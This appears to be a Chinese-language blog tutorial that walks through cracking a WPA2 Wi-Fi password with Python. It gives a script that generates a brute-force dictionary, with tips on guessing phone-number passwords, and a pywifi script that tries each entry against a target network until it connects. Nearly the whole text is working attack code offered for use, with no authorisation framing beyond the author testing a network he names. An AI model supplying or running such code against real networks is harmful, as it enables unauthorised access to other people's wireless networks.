首先是生成暴力破解的字典,命名为password.txt,追加的写入文件中
由于生成8位密码所需时间过长,可以选择在网上下载常用字典
还有就是一般家庭喜欢用电话作为密码,可以根据当地电话号段进行生成
我这里只用数字生成三位密码,一共10*10*10个,在这里就不展示了
import itertools as its
#生成字典 -- 密码文件
#组成字符
words = "1234567890"
#密码长度repeat
r =its.product(words,repeat=3)
#"a"追加写入方式
dic = open("password.txt","a")
for i in r:
print("".join(i))
dic.write("".join(i))
dic.write("".join("\n"))
里面需要导入一个pywifi模块
pip install pywifi
单线程暴力破解代码
import pywifi
from pywifi import const
import time
def readPw():
print("开始")
#字典文件所在路径
path = "password.txt"
file = open(path,"r")
while True:
try:
pwStr = file.readline()
bool = wificonnect(pwStr)
if bool:
print("密码正确:"+pwStr)
break
else:
print("密码错误:" + pwStr)
except Exception as e:
print(e)
continue
#测试连接 返回一个连接结果
def wificonnect(password):
#抓取网口
#获取无限网卡
wifi = pywifi.PyWiFi()
ifaces = wifi.interfaces()[0]
#断开无线连接
ifaces.disconnect()
time.sleep(1)
wifiStatus = ifaces.status()
if wifiStatus == const.IFACE_DISCONNECTED:
#创建WiFi连接文件
profile = pywifi.Profile()
#WiFi名称
profile.ssid = "Xujoe"
#开放网卡
profile.auth = const.AUTH_ALG_OPEN
#加密算法
profile.akm.append(const.AKM_TYPE_WPA2PSK)
#加密单元
profile.cipher=const.CIPHER_TYPE_CCMP
#密码
profile.key=password
#删除所有WiFi连接文件
ifaces.remove_all_network_profiles()
#加入新的连接文件
tep_profile = ifaces.add_network_profile(profile)
print("正在尝试密码:"+password)
ifaces.connect(tep_profile)
time.sleep(4)
if ifaces.status()== const.IFACE_CONNECTED:
return True
else:
return False
else:
print("已连接")
readPw()
测试结果
为了测试 我把wifi正确密码放在字典中的第三个